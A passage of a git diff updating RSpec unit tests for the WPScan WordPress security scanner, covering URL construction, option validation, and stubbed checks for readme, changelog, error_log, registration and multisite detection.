+                        :path => "test/asdf.php",
+                        :vulns_file => "XXX.xml",
+                        :wp_content_dir => "wp-content",
+                        :wp_plugins_dir => "wp-content/plugins",
+                        :name => "test",
+                        :vulns_xpath => "XX",
+                        :type => "type"
+      )
+      expect { item.get_sub_folder }.to raise_error(RuntimeError, "unknown type type")
+    end
+  end
+
+  describe "#readme_url" do
+    it "should return the corrent plugin readme url" do
+      instance = WpItem.new(:base_url => "http://sub.example.com/path/to/wordpress/",
+                            :path => "test/asdf.php",
+                            :vulns_file => "XXX.xml",
+                            :name => "test",
+                            :vulns_xpath => "XX",
+                            :type => "plugins"
+      )
+      instance.readme_url.to_s.should == "http://sub.example.com/path/to/wordpress/wp-content/plugins/test/readme.txt"
+    end
+
+    it "should return the corrent plugin readme url (custom wp_content)" do
+      instance = WpItem.new(:base_url => "http://sub.example.com/path/to/wordpress/",
+                            :path => "test/asdf.php",
+                            :vulns_file => "XXX.xml",
+                            :name => "test",
+                            :vulns_xpath => "XX",
+                            :type => "plugins",
+                            :wp_content_dir => "custom"
+      )
+      instance.readme_url.to_s.should == "http://sub.example.com/path/to/wordpress/custom/plugins/test/readme.txt"
+    end
+
+    it "should return the corrent theme readme url" do
+      instance = WpItem.new(:base_url => "http://sub.example.com/path/to/wordpress/",
+                            :path => "test/asdf.php",
+                            :vulns_file => "XXX.xml",
+                            :name => "test",
+                            :vulns_xpath => "XX",
+                            :type => "themes"
+      )
+      instance.readme_url.to_s.should == "http://sub.example.com/path/to/wordpress/wp-content/themes/test/readme.txt"
+    end
+
+    it "should return the corrent theme readme url (custom wp_content)" do
+      instance = WpItem.new(:base_url => "http://sub.example.com/path/to/wordpress/",
+                            :path => "test/asdf.php",
+                            :vulns_file => "XXX.xml",
+                            :name => "test",
+                            :vulns_xpath => "XX",
+                            :type => "themes",
+                            :wp_content_dir => "custom"
+      )
+      instance.readme_url.to_s.should == "http://sub.example.com/path/to/wordpress/custom/themes/test/readme.txt"
+    end
+  end
+
+  describe "#changelog_url" do
+    it "should return the corrent plugin changelog url" do
+      instance = WpItem.new(:base_url => "http://sub.example.com/path/to/wordpress/",
+                            :path => "test/asdf.php",
+                            :vulns_file => "XXX.xml",
+                            :name => "test",
+                            :vulns_xpath => "XX",
+                            :type => "plugins"
+      )
+      instance.changelog_url.to_s.should == "http://sub.example.com/path/to/wordpress/wp-content/plugins/test/changelog.txt"
+    end
+
+    it "should return the corrent plugin changelog url (custom wp_content)" do
+      instance = WpItem.new(:base_url => "http://sub.example.com/path/to/wordpress/",
+                            :path => "test/asdf.php",
+                            :vulns_file => "XXX.xml",
+                            :name => "test",
+                            :vulns_xpath => "XX",
+                            :type => "plugins",
+                            :wp_content_dir => "custom"
+      )
+      instance.changelog_url.to_s.should == "http://sub.example.com/path/to/wordpress/custom/plugins/test/changelog.txt"
+    end
+
+    it "should return the corrent theme changelog url" do
+      instance = WpItem.new(:base_url => "http://sub.example.com/path/to/wordpress/",
+                            :path => "test/asdf.php",
+                            :vulns_file => "XXX.xml",
+                            :name => "test",
+                            :vulns_xpath => "XX",
+                            :type => "themes"
+      )
+      instance.changelog_url.to_s.should == "http://sub.example.com/path/to/wordpress/wp-content/themes/test/changelog.txt"
+    end
+
+    it "should return the corrent theme changelog url (custom wp_content)" do
+      instance = WpItem.new(:base_url => "http://sub.example.com/path/to/wordpress/",
+                            :path => "test/asdf.php",
+                            :vulns_file => "XXX.xml",
+                            :name => "test",
+                            :vulns_xpath => "XX",
+                            :type => "themes",
+                            :wp_content_dir => "custom"
+      )
+      instance.changelog_url.to_s.should == "http://sub.example.com/path/to/wordpress/custom/themes/test/changelog.txt"
+    end
+  end
+
+  describe "#has_readme?" do
+    before :each do
+      @instance = WpItem.new(:base_url => "http://sub.example.com/path/to/wordpress/",
+                             :path => "test/asdf.php",
+                             :vulns_file => "XXX.xml",
+                             :name => "test",
+                             :vulns_xpath => "XX",
+                             :type => "plugins"
+      )
+    end
+
+    it "should return true" do
+      stub_request(:get, @instance.readme_url.to_s).to_return(:status => 200)
+      @instance.has_readme?.should == true
+    end
+
+    it "should return false" do
+      stub_request(:get, @instance.readme_url.to_s).to_return(:status => 403)
+      @instance.has_readme?.should == false
+    end
+  end
+
+  describe "#has_changelog?" do
+    before :each do
+      @instance = WpItem.new(:base_url => "http://sub.example.com/path/to/wordpress/",
+                             :path => "test/asdf.php",
+                             :vulns_file => "XXX.xml",
+                             :name => "test",
+                             :vulns_xpath => "XX",
+                             :type => "plugins"
+      )
+    end
+
+    it "should return true" do
+      stub_request(:get, @instance.changelog_url.to_s).to_return(:status => 200)
+      @instance.has_changelog?.should == true
+    end
+
+    it "should return false" do
+      stub_request(:get, @instance.changelog_url.to_s).to_return(:status => 403)
+      @instance.has_changelog?.should == false
+    end
+  end
+end
\ No newline at end of file
diff --git a/spec/lib/wpscan/wp_options_spec.rb b/spec/lib/wpscan/wp_options_spec.rb
new file mode 100644
index 00000000..0e5a18b9
--- /dev/null
+++ b/spec/lib/wpscan/wp_options_spec.rb
@@ -0,0 +1,138 @@
+#--
+# WPScan - WordPress Security Scanner
+# Copyright (C) 2012
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+#++
+
+require File.expand_path(File.dirname(__FILE__) + '/wpscan_helper')
+
+describe WpOptions do
+  describe "#check_options" do
+    before :each do
+      @options = {}
+      @options[:base_url] = "url"
+      @options[:only_vulnerable_ones] = false
+      @options[:file] = "file"
+      @options[:vulns_file] = "vulns_file"
+      @options[:vulns_xpath] = "vulns_xpath"
+      @options[:vulns_xpath_2] = "vulns_xpath_2"
+      @options[:wp_content_dir] = "wp_content_dir"
+      @options[:show_progress_bar] = true
+      @options[:error_404_hash] = "error_404_hash"
+      @options[:type] = "type"
+
+      @message = ""
+    end
+
+    after :each do
+      expect { WpOptions.check_options(@options) }.to raise_error(RuntimeError, @message)
+    end
+
+    it "should raise an exception (base_url empty)" do
+      @options[:base_url] = ""
+      @message = "base_url must be set"
+    end
+
+    it "should raise an exception (base_url nil)" do
+      @options[:base_url] = nil
+      @message = "base_url must be set"
+    end
+
+    it "should raise an exception (only_vulnerable_ones nil)" do
+      @options[:only_vulnerable_ones] = nil
+      @message = "only_vulnerable_ones must be set"
+    end
+
+    it "should raise an exception (file empty)" do
+      @options[:file] = ""
+      @message = "file must be set"
+    end
+
+    it "should raise an exception (file nil)" do
+      @options[:file] = nil
+      @message = "file must be set"
+    end
+
+    it "should raise an exception (vulns_file empty)" do
+      @options[:vulns_file] = ""
+      @message = "vulns_file must be set"
+    end
+
+    it "should raise an exception (vulns_file nil)" do
+      @options[:vulns_file] = nil
+      @message = "vulns_file must be set"
+    end
+
+    it "should raise an exception (vulns_xpath empty)" do
+      @options[:vulns_xpath] = ""
+      @message = "vulns_xpath must be set"
+    end
+
+    it "should raise an exception (vulns_xpath nil)" do
+      @options[:vulns_xpath] = nil
+      @message = "vulns_xpath must be set"
+    end
+
+    it "should raise an exception (vulns_xpath_2 empty)" do
+      @options[:vulns_xpath_2] = ""
+      @message = "vulns_xpath_2 must be set"
+    end
+
+    it "should raise an exception (vulns_xpath_2 nil)" do
+      @options[:vulns_xpath_2] = nil
+      @message = "vulns_xpath_2 must be set"
+    end
+
+    it "should raise an exception (wp_content_dir empty)" do
+      @options[:wp_content_dir] = ""
+      @message = "wp_content_dir must be set"
+    end
+
+    it "should raise an exception (wp_content_dir nil)" do
+      @options[:wp_content_dir] = nil
+      @message = "wp_content_dir must be set"
+    end
+
+    it "should raise an exception (show_progress_bar nil)" do
+      @options[:show_progress_bar] = nil
+      @message = "show_progress_bar must be set"
+    end
+
+    it "should raise an exception (error_404_hash empty)" do
+      @options[:error_404_hash] = ""
+      @message = "error_404_hash must be set"
+    end
+
+    it "should raise an exception (error_404_hash nil)" do
+      @options[:error_404_hash] = nil
+      @message = "error_404_hash must be set"
+    end
+
+    it "should raise an exception (type empty)" do
+      @options[:type] = ""
+      @message = "type must be set"
+    end
+
+    it "should raise an exception (type nil)" do
+      @options[:type] = nil
+      @message = "type must be set"
+    end
+
+    it "should raise an exception (type unknown)" do
+      @options[:type] = "unknown"
+      @message = "Unknown type unknown"
+    end
+  end
+end
\ No newline at end of file
diff --git a/spec/lib/wpscan/wp_plugin_spec.rb b/spec/lib/wpscan/wp_plugin_spec.rb
index 853c8f06..28c1a536 100644
--- a/spec/lib/wpscan/wp_plugin_spec.rb
+++ b/spec/lib/wpscan/wp_plugin_spec.rb
@@ -1,238 +1,76 @@
+#--
+# WPScan - WordPress Security Scanner
+# Copyright (C) 2012
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+#++
+
 require File.expand_path(File.dirname(__FILE__) + '/wpscan_helper')
 
 describe WpPlugin do
-
-  before :all do
-    @browser = Browser.instance(:config_file => SPEC_FIXTURES_CONF_DIR + '/browser/browser.conf.json')
-  end
-
-  describe "#location_uri_from_url" do
-    after :each do
-      if @url
-        uri = WpPlugin.location_uri_from_url(@url)
-
-        uri.should be_a URI
-        uri.to_s.should === @expected_uri_string
-      end
-    end
-
-    #it "should raise an error if the url is not valid" do
-    #  expect { WpPlugin.location_uri_from_url("example.com") }.to raise_error
-    #  expect { WpPlugin.location_uri_from_url("http://example.com/wp-includes/plugins/example/") }.to raise_error
-    #end
-
-    it "should return the uri without the file" do
-      @url                 = "http://example.com/wp-content/plugins/example/readme.txt"
-      @expected_uri_string = "http://example.com/wp-content/plugins/example/"
-    end
-
-    it "should return the same uri" do
-      @url                 = "http://example.com/wp-content/plugins/hello-world/"
-      @expected_uri_string = @url
-    end
-
-    # http://code.google.com/p/wpscan/issues/detail?id=146
-    it "should not raise an error if the url uses https" do
-      @url                 = "https://example.com/folder1/folder2/wp-content/plugins/user-role-editor/index.php"
-      @expected_uri_string = "https://example.com/folder1/folder2/wp-content/plugins/user-role-editor/"
-    end
-
-    it "should add the last slash if it's not present" do
-      @url                 = "http://example.com/wp-content/plugins/test-one"
-      @expected_uri_string = "#{@url}/"
-    end
-  end
-
-  describe "#extract_name_from_location_url" do
-    it "should return 'example-plugin'" do
-      WpPlugin.extract_name_from_location_url('http://example.com/wp-content/plugins/example-plugin/').should === 'example-plugin'
-    end
-  end
-
-  describe "#create_location_url_from_name" do
-    after :each do
-      WpPlugin.create_location_url_from_name(@plugin_name, @target_url).should === @expected_url
-    end
-
-    it "should return 'http://example.com/$wp-plugins$/example/'" do
-      @plugin_name  = "example"
-      @target_url   = "http://example.com/"
-      @expected_url = "http://example.com/$wp-plugins$/example/"
-    end
-
-    it "should return 'http://example.com/$wp-plugins$/example/' even if the last '/' is not in the target url" do
-      @plugin_name  = "example"
-      @target_url   = "http://example.com"
-      @expected_url = "http://example.com/$wp-plugins$/example/"
-    end
-
-    it "should return http://example.com/$wp-plugins$/example-test/" do
-      @plugin_name  = "example-test"
-      @target_url   = "http://example.com"
-      @expected_url = "http://example.com/$wp-plugins$/example-test/"
-    end
-
-    it "should return http://example.com/$wp-plugins$/something%20with%20spaces/" do
-      @plugin_name  = "something with spaces"
-      @target_url   = "http://example.com"
-      @expected_url = URI.escape("http://example.com/$wp-plugins$/something with spaces/")
-    end
-  end
-
-  describe "#create_url_from_raw" do
-    it "should return http://example.com/$wp-plugins$/example-test/readme.txt" do
-      WpPlugin.create_url_from_raw("example-test/readme.txt", URI.parse("http://example.com")).should === "http://example.com/$wp-plugins$/example-test/readme.txt"
-    end
-  end
-
   describe "#initialize" do
-    let(:location_url) { 'http://example.com/wp-content/plugins/example/' }
-
-    it "should raise an exception" do
-      expect { WpPlugin.new('invalid location url') }.to raise_error
+    it "should not raise an exception" do
+      expect { WpPlugin.new(:base_url => "url", :path => "path", :wp_content_dir => "dir", :name => "name") }.to_not raise_error
     end
 
-    it "should initialize the object (no options given), :name should be 'example'" do
-      wp_plugin = WpPlugin.new(location_url)
-      wp_plugin.name.should === 'example'
-      wp_plugin.location_url.should === location_url
+    it "should not raise an exception (wp_content_dir not set)" do
+      expect { WpPlugin.new(:base_url => "url", :path => "path", :name => "name") }.to_not raise_error
     end
 
-    it "should initialize the object (options[:name] = 'example')" do
-      wp_plugin = WpPlugin.new(location_url, :name => 'example')
-      wp_plugin.name.should === 'example'
-      wp_plugin.location_url.should === location_url
+    it "should raise an exception (base_url not set)" do
+      expect { WpPlugin.new(:path => "path", :wp_content_dir => "dir", :name => "name") }.to raise_error
+    end
+
+    it "should raise an exception (path not set)" do
+      expect { WpPlugin.new(:base_url => "url", :wp_content_dir => "dir", :name => "name") }.to raise_error
+    end
+
+    it "should raise an exception (name not set)" do
+      expect { WpPlugin.new(:base_url => "url", :path => "path", :wp_content_dir => "dir") }.to raise_error
     end
   end
 
-  # TODO
-  describe "operators : ==, ===, <=>" do
-
-  end
-
-  #TODO
-  describe "#location_url" do
-
-  end
-
-  describe "#version" do
-    let(:location_url) { 'http://example.localhost/wp-content/plugins/simple-login-lockdown/' }
-    let(:wp_plugin) { WpPlugin.new(location_url) }
-    let(:readme_url) { 'http://example.localhost/wp-content/plugins/simple-login-lockdown/readme.txt' }
-    let(:fixtures_dir) { SPEC_FIXTURES_WPSCAN_WP_PLUGIN_DIR + '/version' }
-
-    it "should return nil if the readme.txt does not exist" do
-      stub_request(:get, readme_url).
-        to_return(:status => 404)
-
-      wp_plugin.version.should be_nil
-    end
-
-    it "should return nil if the version is invalid (IE : trunk etc)" do
-      stub_request(:get, readme_url).
-        to_return(:status => 200, :body => File.new(fixtures_dir + '/trunk-version.txt'))
-
-      wp_plugin.version.should be_nil
-    end
-
-    it "should return the version 0.4" do
-      stub_request(:get, readme_url).
-        to_return(:status => 200, :body => File.new(fixtures_dir + '/simple-login-lockdown-0.4.txt'))
-
-      wp_plugin.version.should === '0.4'
+  describe "#error_log_url" do
+    it "should return a correct url" do
+      temp = WpPlugin.new(:base_url => "http://wordpress.com",
+                          :path => "test/asdf.php")
+      temp.error_log_url.to_s.should == "http://wordpress.com/wp-content/plugins/test/error_log"
     end
   end
 
-  describe "#to_s" do
-    after :each do
-      wp_plugin = WpPlugin.new(WpPlugin.create_location_url_from_name(@name, "http://example.localhost"))
-      wp_plugin.stub(:version => @version)
-      wp_plugin.to_s.should === @expected
-    end
-
-    it "should not include the version if it's not detected" do
-      @name = "a-plugin"
-      @version = nil
-      @expected = "a-plugin"
-    end
-
-    it "should show the version if it's detected" do
-      @name = "another-plugin"
-      @version = "3.2"
-      @expected = "another-plugin v3.2"
-    end
-  end
-
-  describe "#vulnerabilities" do
-    let(:location_url) { 'http://example.localhost/wp-content/plugins/spec-plugin/' }
-    let(:fixtures_dir) { SPEC_FIXTURES_WPSCAN_WP_PLUGIN_DIR + '/vulnerabilities' }
-    let(:vulns_xml) { fixtures_dir + '/plugin_vulns.xml' }
-    let(:wp_plugin) { WpPlugin.new(location_url, :vulns_xml => vulns_xml) }
-
-
-    it "should return an empty array when no vulnerabilities are found" do
-      WpPlugin.new(
-        'http://example.localhost/wp-content/plugins/no-vulns/',
-        :vulns_xml => vulns_xml
-      ).vulnerabilities.should be_empty
-    end
-
-    it "should return an arry with 2 vulnerabilities" do
-      vulnerabilities = wp_plugin.vulnerabilities
-
-      vulnerabilities.should_not be_empty
-      vulnerabilities.length.should == 2
-      vulnerabilities.each { |vulnerability| vulnerability.should be_a WpVulnerability }
-      vulnerabilities[0].title.should === 'WPScan Spec'
-      vulnerabilities[1].title.should === 'Spec SQL Injection'
-    end
-  end
-
-  describe "#error_log* (#error_log_url & #error_log?)" do
-    let(:fixtures_dir) { SPEC_FIXTURES_WPSCAN_WP_PLUGIN_DIR + '/error_log' }
-    let(:location_url) { 'http://example.localhost/wp-content/plugins/simple-login-lockdown/' }
-    let(:error_log_url) { 'http://example.localhost/wp-content/plugins/simple-login-lockdown/error_log' }
-    let(:wp_plugin) { WpPlugin.new(location_url) }
-
-    it "should return the url of the error log" do
-      wp_plugin.error_log_url.should === error_log_url
-    end
-
-    it "should return false on a 404" do
-      stub_request(:get, error_log_url).
-        to_return(:status => 404)
-
-      wp_plugin.error_log?.should be_false
+  describe "#error_log?" do
+    before :each do
+      @temp = WpPlugin.new(:base_url => "http://wordpress.com",
+                           :path => "test/asdf.php")
     end
 
     it "should return true" do
-      stub_request(:get, error_log_url).
-        to_return(:status => 200, :body => File.new(fixtures_dir + '/error_log'))
-
-      wp_plugin.error_log?.should be_true
-    end
-  end
-
-  describe "#directory_listing?" do
-    let(:wp_plugin) { WpPlugin.new('http://example.localhost/wp-content/plugins/simple-login-lockdown/readme.txt') }
-
-    it "should return false on a 404" do
-      stub_request(:get, wp_plugin.location_url).to_return(:status => 404)
-
-      wp_plugin.directory_listing?.should be_false
+      stub_request(:get, @temp.error_log_url.to_s).to_return(:status => 200, :body => "PHP Fatal error")
+      @temp.error_log?.should be true
     end
 
-    it "should return false on a blank page" do
-      stub_request(:get, wp_plugin.location_url).to_return(:status => 200, :body => '')
-
-      wp_plugin.directory_listing?.should be_false
+    it "should return false" do
+      stub_request(:get, @temp.error_log_url.to_s).to_return(:status => 500, :body => "Access denied")
+      @temp.error_log?.should be false
     end
 
     it "should return true" do
-      stub_request(:get, wp_plugin.location_url).
-        to_return(:status => 200, :body => "<title>Index of simple-login-lockdown</title>")
+      fixtures_dir = SPEC_FIXTURES_WPSCAN_WP_PLUGIN_DIR + "/error_log"
+      stub_request(:get, @temp.error_log_url.to_s).to_return(:status => 200,
+                                                             :body => File.new(fixtures_dir + '/error_log'))
 
-      wp_plugin.directory_listing?.should be_true
+      @temp.error_log?.should be true
     end
   end
 end
diff --git a/spec/lib/wpscan/wp_target_spec.rb b/spec/lib/wpscan/wp_target_spec.rb
index 5f978220..f049465f 100644
--- a/spec/lib/wpscan/wp_target_spec.rb
+++ b/spec/lib/wpscan/wp_target_spec.rb
@@ -1,15 +1,35 @@
+#--
+# WPScan - WordPress Security Scanner
+# Copyright (C) 2012
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+#++
+
 require File.expand_path(File.dirname(__FILE__) + '/wpscan_helper')
 
 describe WpTarget do
 
   before :each do
     Browser.reset
-    @browser_options =
+    @options =
     {
-      :config_file   => SPEC_FIXTURES_CONF_DIR + '/browser/browser.conf.json',
-      :cache_timeout => 0
+      :config_file    => SPEC_FIXTURES_CONF_DIR + '/browser/browser.conf.json',
+      :cache_timeout  => 0,
+      :wp_content_dir => "wp-content",
+      :wp_plugins_dir => "wp-content/plugins"
     }
-    @wp_target = WpTarget.new("http://example.localhost/", @browser_options)
+    @wp_target = WpTarget.new("http://example.localhost/", @options)
   end
 
   it_should_behave_like "WebSite"
@@ -18,9 +38,11 @@ describe WpTarget do
   it_should_behave_like "WpFullPathDisclosure"
   it_should_behave_like "WpLoginProtection"
   it_should_behave_like "Malwares"
+  it_should_behave_like "BruteForce"
   it_should_behave_like "WpUsernames"
   it_should_behave_like "WpTimthumbs"
   it_should_behave_like "WpPlugins"
+  it_should_behave_like "WpThemes"
 
   describe "#initialize" do
     it "should raise an error if the target_url is nil or empty" do
@@ -29,11 +51,11 @@ describe WpTarget do
     end
 
     it "should add the http protocol if missing" do
-      WpTarget.new("example.localhost/", @browser_options).url.should === "http://example.localhost/"
+      WpTarget.new("example.localhost/", @options).url.should === "http://example.localhost/"
     end
 
     it "should add the trailing slash to the url if missing" do
-      WpTarget.new("lamp/wordpress", @browser_options).url.should === "http://lamp/wordpress/"
+      WpTarget.new("lamp/wordpress", @options).url.should === "http://lamp/wordpress/"
     end
   end
 
@@ -131,22 +153,43 @@ describe WpTarget do
 
   describe "#wp_plugins_dir" do
     after :each do
-      @wp_target.stub(:wp_content_dir => @stub_value) if @stub_value
+      @wp_target.stub(:wp_plugins_dir => @stub_value) if @stub_value
 
       @wp_target.wp_plugins_dir.should === @expected
     end
 
     it "should return the string set in the initialize method" do
-      @wp_target = WpTarget.new("http://example.localhost/", :wp_plugins_dir => "custom-plugins")
+      @wp_target = WpTarget.new("http://example.localhost/", :wp_content_dir => "asdf", :wp_plugins_dir => "custom-plugins")
       @expected  = "custom-plugins"
     end
 
+    it "should return 'plugins'" do
+      @stub_value = "plugins"
+      @expected   = "plugins"
+    end
+
     it "should return 'wp-content/plugins'" do
-      @stub_value = "wp-content"
+      @stub_value = nil
       @expected   = "wp-content/plugins"
     end
   end
 
+  describe "#wp_plugins_dir_exists?" do
+    it "should return true" do
+      target = WpTarget.new("http://example.localhost/", :wp_content_dir => "asdf", :wp_plugins_dir => "custom-plugins")
+      url = target.uri.merge(target.wp_plugins_dir).to_s
+      stub_request(:any, url).to_return(:status => 200)
+      target.wp_plugins_dir_exists?.should == true
+    end
+
+    it "should return false" do
+      target = WpTarget.new("http://example.localhost/", :wp_content_dir => "asdf", :wp_plugins_dir => "custom-plugins")
+      url = target.uri.merge(target.wp_plugins_dir).to_s
+      stub_request(:any, url).to_return(:status => 404)
+      target.wp_plugins_dir_exists?.should == false
+    end
+  end
+
   describe "#debug_log_url" do
     it "should return 'http://example.localhost/wp-content/debug.log" do
       @wp_target.stub(:wp_content_dir => "wp-content")
@@ -178,4 +221,104 @@ describe WpTarget do
       @expected = true
     end
   end
+
+  describe "#search_replace_db_2_url" do
+    it "should return the correct url" do
+      @wp_target.search_replace_db_2_url.should == "http://example.localhost/searchreplacedb2.php"
+    end
+  end
+
+  describe "#search_replace_db_2_exists?" do
+    it "should return true" do
+      stub_request(:any, @wp_target.search_replace_db_2_url).to_return(:status => 200, :body => "asdf by interconnect asdf")
+      @wp_target.search_replace_db_2_exists?.should be_true
+    end
+
+    it "should return false" do
+      stub_request(:any, @wp_target.search_replace_db_2_url).to_return(:status => 500)
+      @wp_target.search_replace_db_2_exists?.should be_false
+    end
+
+    it "should return false" do
+      stub_request(:any, @wp_target.search_replace_db_2_url).to_return(:status => 500, :body => "asdf by interconnect asdf")
+      @wp_target.search_replace_db_2_exists?.should be_false
+    end
+  end
+
+  describe "#registration_url" do
+    it "should return the correct url (multisite)" do
+      # set to multi site
+      stub_request(:any, "http://example.localhost/wp-signup.php").to_return(:status => 200)
+      @wp_target.registration_url.to_s.should == "http://example.localhost/wp-signup.php"
+    end
+
+    it "should return the correct url (not multisite)" do
+      # set to single site
+      stub_request(:any, "http://example.localhost/wp-signup.php").to_return(:status => 302, :headers => { "Location" => "wp-login.php?action=register" })
+      @wp_target.registration_url.to_s.should == "http://example.localhost/wp-login.php?action=register"
+    end
+  end
+
+  describe "#registration_enabled?" do
+    it "should return false (multisite)" do
+      # set to multi site
+      stub_request(:any, "http://example.localhost/wp-signup.php").to_return(:status => 200)
+      stub_request(:any, @wp_target.registration_url.to_s).to_return(:status => 302, :headers => { "Location" => "wp-login.php?registration=disabled" })
+      @wp_target.registration_enabled?.should be_false
+    end
+
+    it "should return true (multisite)" do
+      # set to multi site
+      stub_request(:any, "http://example.localhost/wp-signup.php").to_return(:status => 200)
+      stub_request(:any, @wp_target.registration_url.to_s).to_return(:status => 200, :body => %{<form id="setupform" method="post" action="wp-signup.php">})
+      @wp_target.registration_enabled?.should be_true
+    end
+
+    it "should return false (not multisite)" do
+      # set to single site
+      stub_request(:any, "http://example.localhost/wp-signup.php").to_return(:status => 302, :headers => { "Location" => "wp-login.php?action=register" })
+      stub_request(:any, @wp_target.registration_url.to_s).to_return(:status => 302, :headers => { "Location" => "wp-login.php?registration=disabled" })
+      @wp_target.registration_enabled?.should be_false
+    end
+
+    it "should return true (not multisite)" do
+      # set to single site
+      stub_request(:any, "http://example.localhost/wp-signup.php").to_return(:status => 302, :headers => { "Location" => "wp-login.php?action=register" })
+      stub_request(:any, @wp_target.registration_url.to_s).to_return(:status => 200, :body => %{<form name="registerform" id="registerform" action="wp-login.php"})
+      @wp_target.registration_enabled?.should be_true
+    end
+
+    it "should return false" do
+      # set to single site
+      stub_request(:any, "http://example.localhost/wp-signup.php").to_return(:status => 302, :headers => { "Location" => "wp-login.php?action=register" })
+      stub_request(:any, @wp_target.registration_url.to_s).to_return(:status => 500)
+      @wp_target.registration_enabled?.should be_false
+    end
+  end
+
+  describe "#is_multisite?" do
+    before :each do
+      @url = @wp_target.uri.merge("wp-signup.php").to_s
+    end
+
+    it "should return false" do
+      stub_request(:any, @url).to_return(:status => 302, :headers => { "Location" => "wp-login.php?action=register" })
+      @wp_target.is_multisite?.should be_false
+    end
+
+    it "should return true" do
+      stub_request(:any, @url).to_return(:status => 302, :headers => { "Location" => "http://example.localhost/wp-signup.php" })
+      @wp_target.is_multisite?.should be_true
+    end
+
+    it "should return true" do
+      stub_request(:any, @url).to_return(:status => 200)
+      @wp_target.is_multisite?.should be_true
+    end
+
+    it "should return false" do
+      stub_request(:any, @url).to_return(:status => 500)
+      @wp_target.is_multisite?.should be_false
+    end
+  end
 end
diff --git a/spec/lib/wpscan/wp_theme_spec.rb b/spec/lib/wpscan/wp_theme_spec.rb
index b033c795..336d8e15 100644
--- a/spec/lib/wpscan/wp_theme_spec.rb
+++ b/spec/lib/wpscan/wp_theme_spec.rb
@@ -1,31 +1,52 @@
+#--
+# WPScan - WordPress Security Scanner
+# Copyright (C) 2012
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+#++
+
 require File.expand_path(File.dirname(__FILE__) + "/wpscan_helper")
 
 describe WpTheme do
-
   before :all do
     @target_uri = URI.parse("http://example.localhost/")
 
     Browser.instance(
-      :config_file   => SPEC_FIXTURES_CONF_DIR + "/browser/browser.conf.json",
-      :cache_timeout => 0
+        :config_file => SPEC_FIXTURES_CONF_DIR + "/browser/browser.conf.json",
+        :cache_timeout => 0
     )
   end
 
-  describe "#to_s" do
-    it "should return the theme name and the version if there is one" do
-      wp_theme = WpTheme.new("bueno", :version => "1.2.3")
-
-      wp_theme.to_s.should === "bueno v1.2.3"
+  describe "#initialize" do
+    it "should not raise an exception" do
+      expect { WpTheme.new(:base_url => "url", :path => "path", :wp_content_dir => "dir", :name => "name") }.to_not raise_error
     end
 
-    it "should not add the version if there is not" do
-      style_url = @target_uri.merge("wp-content/themes/hello-world/style.css").to_s
+    it "should not raise an exception (wp_content_dir not set)" do
+      expect { WpTheme.new(:base_url => "url", :path => "path", :name => "name") }.to_not raise_error
+    end
 
-      stub_request(:get, style_url).to_return(:status => 200, :body => "")
+    it "should raise an exception (base_url not set)" do
+      expect { WpTheme.new(:path => "path", :wp_content_dir => "dir", :name => "name") }.to raise_error
+    end
 
-      wp_theme = WpTheme.new("hello-world", :style_url => style_url)
+    it "should raise an exception (path not set)" do
+      expect { WpTheme.new(:base_url => "url", :wp_content_dir => "dir", :name => "name") }.to raise_error
+    end
 
-      wp_theme.to_s.should === "hello-world"
+    it "should raise an exception (name not set)" do
+      expect { WpTheme.new(:base_url => "url", :path => "path", :wp_content_dir => "dir") }.to raise_error
     end
   end
 
@@ -49,20 +70,20 @@ describe WpTheme do
     end
 
     it "should return a WpTheme object with .name = twentyeleven" do
-      @fixture       = fixtures_dir + "/wordpress-twentyeleven.htm"
+      @fixture = fixtures_dir + "/wordpress-twentyeleven.htm"
       @expected_name = "twentyeleven"
     end
 
     # http://code.google.com/p/wpscan/issues/detail?id=131
     # Theme name with spaces raises bad URI(is not URI?)
     it "should not raise an error if the theme name has spaces or special chars" do
-      @fixture       = fixtures_dir + "/theme-name-with-spaces.html"
+      @fixture = fixtures_dir + "/theme-name-with-spaces.html"
       @expected_name = "Copia di simplefolio"
     end
 
     # https://github.com/wpscanteam/wpscan/issues/18
     it "should get the theme if the <link> is inline with some other tags" do
-      @fixture       = fixtures_dir + "/inline_link_tag.html"
+      @fixture = fixtures_dir + "/inline_link_tag.html"
       @expected_name = "inline"
     end
   end
@@ -81,12 +102,12 @@ describe WpTheme do
 
     it "should return a WpTheme object with .name 'Editorial' and .version '1.3.5'" do
       @fixture = fixtures_dir + "/editorial-1.3.5.html"
-      @expected_theme = WpTheme.new("Editorial", :version => "1.3.5")
+      @expected_theme = WpTheme.new(:name => "Editorial", :version => "1.3.5", :base_url => "", :path => "", :wp_content_dir => "")
     end
 
     it "should return a WpTheme object with .name 'Merchant'" do
       @fixture = fixtures_dir + "/merchant-no-version.html"
-      @expected_theme = WpTheme.new("Merchant")
